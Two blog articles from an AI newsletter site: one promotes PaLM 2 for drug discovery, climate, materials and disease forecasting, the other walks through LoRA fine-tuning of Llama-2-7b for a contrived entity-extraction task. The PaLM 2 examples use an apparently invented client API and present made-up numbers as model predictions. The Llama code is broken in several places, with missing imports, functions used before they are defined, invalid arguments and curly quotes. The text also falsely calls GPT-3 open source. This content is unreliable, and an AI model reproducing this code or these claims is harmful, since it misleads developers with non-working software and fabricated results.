Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionA new large language model, Google AI's PaLM2, developed from a massive textual and code database. It's a successor of the PaLM program, and is even more powerful in terms of producing text, translating language, writing various types of creative content, and answering your questions by means of information. The research and development of PaLM 2 continues, but it has the potential to shake up many industries and research areas in terms of its ability to address a broad range of complex real-world problems.PaLM 2 is a new large language model from Google AI, trained on a massive dataset of text and code. It is even more powerful than its predecessor, PaLM, and can be used to solve a wide range of complex real-world problems.Powerful Tools for NLP, Code Generation, and Creative Writing by PaLM2In order to learn the complex relationships between words and phrases, LLMs, such as PaLM 2, are trained in massive databases of text and code. For this reason, they make excellent candidates for a wide range of tasks, such as:Natural language processing (NLP): There are also NLP tasks to be performed such as machine translation, text summary, and answering questions. In order to perform these tasks with high accuracy and consistency, PaLM 2 can be used.Code generation: A number of programming languages, including Python, Java, and C++ can be used for generating code by PaLML 2. It can also be useful for tasks like the automation of software development and the creation of new algorithms.Creative writing: Different creative text formats, such as poems, code, scripts, musical notes, emails, letters, etc. may be created by PaLM 2. It could be useful to the tasks of writing advertising copy, producing scripts for films and television shows as well as composing music.Real-World ExamplesTo illustrate how PaLM 2 can be put to use in solving the complicated problems of the actual world, these are some specific examples:Example 1: Drug DiscoveryIn the area of drug discovery, there are many promising applications to be had by PaLM 2. For the generation of new drug candidates, for the prediction of their properties, and for the simulation of their interaction with biological targets, PaLM 2 can be used. This may make it more quickly and efficiently possible for scientists to identify new drugs.In order to produce new drug candidates, PaLM 2 is able to screen several millions of possible compounds with the aim of binding to a specific target protein. This is a highly complex task, but PaLM 2 can speed it up very fast.Input code:import google.cloud.aiplatform as aip def drug_discovery(target_protein): """Uses PaLM 2 to generate new drug candidates for a given target protein. Args:    target_protein: The target protein to generate drug candidates for. Returns:    A list of potential drug candidates. """ # Create a PaLM 2 client. client = aip.PredictionClient() # Set the input prompt. prompt = f"Generate new drug candidates for the target protein {target_protein}." # Make a prediction. prediction = client.predict(model_name="paLM_2", inputs={"text": prompt}) # Extract the drug candidates from the prediction. drug_candidates = prediction.outputs["drug_candidates"] return drug_candidates # Example usage: target_protein = "ACE2" drug_candidates = drug_discovery(target_protein) print(drug_candidates) Output:A list of potential therapeutic candidates for that protein is provided by the function drug_discovery(). The specific output depends on the protein being targeted, and this example is as follows:This indicates that three possible drug candidates for target protein ACE2 have been identified by PaLM 2. In order to determine the effectiveness and safety of these substances, researchers may therefore carry out additional studies.Example 2: Climate ChangeIn order to cope with climate change, PaLM 2 may also be used. In order to model a climate system, anticipate the impacts of climate change and develop mitigation strategies it is possible to use PaLM 2.Using a variety of greenhouse gas emissions scenarios, PaLM 2 can simulate the Earth's climate. This information can be used for the prediction of climate change's effects on temperature, precipitation, and other factors.Input code:import google.cloud.aiplatform as aip def climate_change_prediction(emission_scenario): """Uses PaLM 2 to predict the effects of climate change under a given emission scenario. Args:    emission_scenario: The emission scenario to predict the effects of climate change under. Returns:    A dictionary containing the predicted effects of climate change. """ # Create a PaLM 2 client. client = aip.PredictionClient() # Set the input prompt. prompt = f"Predict the effects of climate change under the emission scenario {emission_scenario}." # Make a prediction. prediction = client.predict(model_name="paLM_2", inputs={"text": prompt}) # Extract the predicted effects of climate change from the prediction. predicted_effects = prediction.outputs["predicted_effects"] return predicted_effects # Example usage: emission_scenario = "RCP8.5" predicted_effects = climate_change_prediction(emission_scenario) print(predicted_effects)  Output:The example given is RCP 8.5, which has been shown to be a large emission scenario. The model estimates that the global temperature will rise by 4.3 degrees C, with precipitation decreasing by 10 % in this scenario.Example 3: Material ScienceIn the area of material science, PaLM 2 may be used to create new materials with desired properties. In order to obtain the required properties such as durability, lightness, and conductivity, it is possible to use PaLM 2 for an assessment of millions of material possibilities.The development of new materials for batteries may be achieved with the use of PaLM 2. It is essential that the batteries be light, long lasting and have high energy density. Millions of potential material for such properties may be identified using PaLM 2.Input code:import google.cloud.aiplatform as aip def material_design(desired_properties): """Uses PaLM 2 to design a new material with the desired properties. Args:    desired_properties: A list of the desired properties of the new material. Returns:    A dictionary containing the properties of the designed material. """ # Create a PaLM 2 client. client = aip.PredictionClient() # Set the input prompt. prompt = f"Design a new material with the following desired properties: {desired_properties}" # Make a prediction. prediction = client.predict(model_name="paLM_2", inputs={"text": prompt}) # Extract the properties of the designed material from the prediction. designed_material_properties = prediction.outputs["designed_material_properties"] return designed_material_properties # Example usage: desired_properties = ["lightweight", "durable", "conductive"] designed_material_properties = material_design(desired_properties) print(designed_material_properties)Output:This means that the model designed a material with the following properties:Density: 1.0 grams per cubic centimeter (g/cm^3)Strength: 1000.0 megapascals (MPa)Conductivity: 100.0 watts per meter per kelvin (W/mK)This is only a prediction based on the language model, and further investigation and development would be needed to make this material real.Example 4: Predicting the Spread of Infectious DiseasesIn order to predict the spread of COVID-19 in a given region, PaLM 2 may be used. Factors that may be taken into account by PaLM2 include the number of infections, transmission, and vaccination rates. The PALM 2 method can also be used to predict the effects of preventive health measures, e.g. mask mandates and lockdowns.Input code:import google.cloud.aiplatform as aip def infectious_disease_prediction(population_density, transmission_rate): """Uses PaLM 2 to predict the spread of an infectious disease in a population with a given population density and transmission rate. Args:    population_density: The population density of the population to predict the spread of the infectious disease in.    transmission_rate: The transmission rate of the infectious disease. Returns:    A dictionary containing the predicted spread of the infectious disease. """ # Create a PaLM 2 client. client = aip.PredictionClient() # Set the input prompt. prompt = f"Predict the spread of COVID-19 in a population with a population density of {population_density} and a transmission rate of {transmission_rate}." # Make a prediction. prediction = client.predict(model_name="paLM_2", inputs={"text": prompt}) # Extract the predicted spread of the infectious disease from the prediction. predicted_spread = prediction.outputs["predicted_spread"] return predicted_spread # Example usage: population_density = 1000 transmission_rate = 0.5 predicted_spread = infectious_disease_prediction(population_density, transmission_rate) print(predicted_spread)Output:An estimated peak incidence for infectious disease is 50%, meaning that half of the population will be affected at a particular time during an outbreak. The total number of anticipated cases is 500,000.It must be remembered that this is a prediction, and the rate at which infectious diseases are spreading can change depending on many factors like the effectiveness of disease prevention measures or how people behave.The development of new medicines, more effective energy systems and materials with desired properties is expected to take advantage of PALM 2 in the future. In order to predict the spread of infectious agents and develop mitigation strategies for Climate Change, PaLM 2 is also likely to be used.ConclusionIn conclusion, several sectors have transformed with the emergence of PaLM 2, Google AI's advanced language model. By addressing the complex problems of today's world, it is offering the potential for a revolution in industry. The applicability of the PALM 2 system to drug discovery, prediction of climate change, materials science, and infectious disease spread forecast is an example of its flexibility and strength.Responsibility and proper use of PaLM 2 are at the heart of this evolving landscape. It is necessary to combine the Model's capacity with human expertise in order to make full use of this potential, while ensuring that its application meets ethics standards and best practices. This technology may have the potential for shaping a brighter future, helping to solve complicated world problems across different fields as we continue our search for possible PaLM 2 solutions.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 97

article-image-fine-tuning-llama-2
Prakhar Mishra
06 Nov 2023
9 min read
Save for later

Fine-Tuning LLaMA 2

Prakhar Mishra
06 Nov 2023
9 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionLarge Language Models have recently become the talk of the town. I am very sure, you must have heard of ChatGPT. Yes, that’s an LLM, and that’s what I am talking about. Every few weeks, we have been witnessing newer, better but not necessarily larger LLMs coming out either as open-source or closed-source. This is probably the best time to learn about them and make these powerful models work for your specific use case.In today’s blog, we will look into one of the recent open-source models called Llama2 and try to fine-tune it on a standard NLP task of recognizing entities from text. We will first look into what are large language models, what are open-source and closed-source models, and some examples of them. We will then move to learning about Llama2 and why is it so special. We then describe our NLP task and dataset. Finally, we get into coding.About Large Language Models (LLMs)Language models are artificial intelligence systems that have been trained to understand and generate human language. Large Language Models (LLMs) like GPT-3, ChatGPT, GPT-4, Bard, and similar can perform diverse sets of tasks out of the box. Often the quality of output from these large language models is highly dependent on the finesse of the prompt given by the user.These Language models are trained on vast amounts of text data from the Internet. Most of the language models are trained in an auto-regressive way i.e. they try to maximize the probability of the next word based on the words they have produced or seen in the past. This data includes a wide range of written text, from books and articles to websites and social media posts. Language models have a wide range of applications, including chatbots, virtual assistants, content generation, and more. They can be used in industries like customer service, healthcare, finance, and marketing.Since these models are trained on enormous data, they are already good at zero-shot inference and can be steered to perform better with few-shot examples. Zero-shot is a setup in which a model can learn to recognize things that it hasn't explicitly seen before in training. In a Few-shot setting, the goal is to make predictions for new classes based on the few examples of labeled data that is provided to it at inference time.Despite their amazing capabilities of generating text, these humongous models come with a few limitations that must be thought of when building an LLM-based production pipeline. Some of these limitations are hallucinations, biases, and more.Closed and Open-source Language ModelsLarge language models from closed-source are those employed by some companies and are not readily accessible to the public. Training data for these models are typically kept private. While they can be highly sophisticated, this limits transparency, potentially leading to concerns about bias, and data privacy.In contrast, open-source projects like GPT-3, are designed to be freely available to researchers and developers. These models are trained on extensive, publicly available datasets, allowing for a degree of transparency and collaboration.The decision between closed- and open-source language models is influenced by several variables, such as the project's goals, the need for openness, and others.About LLama2Meta's open-source LLM is called Llama 2. It was trained with 2 trillion "tokens" from publicly available sources like Wikipedia, Common Crawl, and books from the Gutenberg project. Three different parameter level model versions are available, i.e. 7 billion, 13 billion, and 70 billion parameter models. There are two types of completion models available: Chat-tuned and General. The chat-tuned models that have been fine-tuned for chatbot-like dialogue are denoted by the suffix '-chat'. We will use general Meta's 7b Llama-2 huggingface model as the base model that we fine-tune. Feel free to use any other version of llama2-7b.Also, if you are interested, there are several threads that you can go through to understand how good is Llama family w.r.t GPT family is - source, source, source.About Named Entity RecognitionAs a component of information extraction, named-entity recognition locates and categorizes specific entities inside the unstructured text by allocating them to pre-defined groups, such as individuals, organizations, locations, measures, and more. NER offers a quick way to understand the core idea or content of a lengthy text.There are many ways of extracting entities from a given text, in this blog, we will specifically delve into fine-tuning Llama2-7b using PEFT techniques on Colab Notebook.We will transform the SMSSpamCollection classification data set for NER. Pretty interesting 😀We search through all 10 letter words and tag them as 10_WORDS_LONG. And this is the entity that we want our Llama to extract. But why this bizarre formulation? I did it intentionally to show that this is something that the pre-trained model would not have seen during the pre-training stage. So it becomes essential to fine-tune it and make it work for our use case 👍. But surely we can add logic to our formulation - think of these words as probable outliers/noisy words. The larger the words, the higher the possibility of it being noise/oov. However, you will have to come up with the extract letter count after seeing the word length distribution. Please note that the code is generic enough for fine-tuning any number of entities. It’s just a change in the data preparation step that we will make to slice out only relevant entities.Code for Fine-tuning Llama2-7b# Importing Libraries from transformers import LlamaTokenizer, LlamaForCausalLM import torch from datasets import Dataset import transformers import pandas as pd from peft import get_peft_model, LoraConfig, TaskType, prepare_model_for_int8_training, get_peft_model_state_dict, PeftModel from sklearn.utils import shuffleData Preparation Phasedf = pd.read_csv('SMSSpamCollection', sep='\t', header=None)  all_text = df[1].str.lower().tolist()  input, output = [], []  for text in all_text:               input.append(text)               output.append({word: '10_WORDS_LONG' for word in text.split() if len(word)==10}) df = pd.DataFrame([input, output]).T df.rename({0:'input_text', 1: 'output_text'}, axis=1, inplace=True) print (df.head(5)) total_ds = shuffle(df, random_state=42) total_train_ds = total_ds.head(4000) total_test_ds = total_ds.tail(1500) total_train_ds_hf = Dataset.from_pandas(total_train_ds) total_test_ds_hf = Dataset.from_pandas(total_test_ds) tokenized_tr_ds = total_train_ds_hf.map(generate_and_tokenize_prompt) tokenized_te_ds = total_test_ds_hf.map(generate_and_tokenize_prompt) Fine-tuning Phase# Loading Modelmodel_name = "meta-llama/Llama-2-7b-hf" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) def create_peft_config(m): peft_cofig = LoraConfig( task_type=TaskType.CAUSAL_LM, inference_mode=False, r=8, lora_alpha=16, lora_dropout=0.05, target_modules=['q_proj', 'v_proj'], ) model = prepare_model_for_int8_training(model) model.enable_input_require_grads() model = get_peft_model(model, peft_cofig) model.print_trainable_parameters() return model, peft_cofig model, lora_config = create_peft_config(model) def generate_prompt(data_point): return f"""Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: Extract entity from the given input: ### Input: {data_point["input_text"]} ### Response: {data_point["output_text"]}""" tokenizer.pad_token_id = 0 def tokenize(prompt, add_eos_token=True): result = tokenizer( prompt, truncation=True, max_length=128, padding=False, return_tensors=None, ) if ( result["input_ids"][-1] != tokenizer.eos_token_id and len(result["input_ids"]) < 128 and add_eos_token ): result["input_ids"].append(tokenizer.eos_token_id) result["attention_mask"].append(1) result["labels"] = result["input_ids"].copy() return result def generate_and_tokenize_prompt(data_point): full_prompt = generate_prompt(data_point) tokenized_full_prompt = tokenize(full_prompt) return tokenized_full_prompt training_arguments = transformers.TrainingArguments(  per_device_train_batch_size=1, gradient_accumulation_steps=16,  learning_rate=4e-05,  logging_steps=100,  optim="adamw_torch",  evaluation_strategy="steps",  save_strategy="steps",  eval_steps=100,  save_steps=100,  output_dir="saved_models/" ) data_collator = transformers.DataCollatorForSeq2Seq(tokenizer) trainer = transformers.Trainer(model=model, tokenizer=tokenizer, train_dataset=tokenized_tr_ds, eval_dataset=tokenized_te_ds, args=training_arguments, data_collator=data_collator) with torch.autocast("cuda"):       trainer.train()InferenceLoaded_tokenizer = LlamaTokenizer.from_pretrained(model_name) Loaded_model = LlamaForCausalLM.from_pretrained(model_name, load_in_8bit=True, torch.dtype=torch.float16, device_map=’auto’) Model = PeftModel.from_pretrained(Loaded_model, “saved_model_path”, torch.dtype=torch.float16) Model.config.pad_tokeni_id = loaded_tokenizer.pad_token_id = 0 Model.eval() def extract_entity(text):   inp = Loaded_tokenizer(prompt, return_tensor=’pt’).to(“cuda”)   with torch.no_grad():       P_ent = Loaded_tokenizer.decode(model.generate(**inp, max_new_tokens=128)[0], skip_special_tokens=True)       int_idx = P_ent.find(‘Response:’)       P_ent = P_ent[int_idx+len(‘Response:’):]   return P_ent.strip() extracted_entity = extract_entity(text) print (extracted_entity) ConclusionWe covered the process of optimizing the llama2-7b model for the Named Entity Recognition job in this blog post. For that matter, it can be any task that you are interested in. The core concept that one must learn from this blog is PEFT-based training of large language models. Additionally, as pre-trained LLMs might not always perform well in your work, it is best to fine-tune these models.Author BioPrakhar Mishra has a Master’s in Data Science with over 4 years of experience in industry across various sectors like Retail, Healthcare, Consumer Analytics, etc. His research interests include Natural Language Understanding and generation, and has published multiple research papers in reputed international publications in the relevant domain. Feel free to reach out to him on LinkedIn
Read more
  • 0
  • 0
  • 269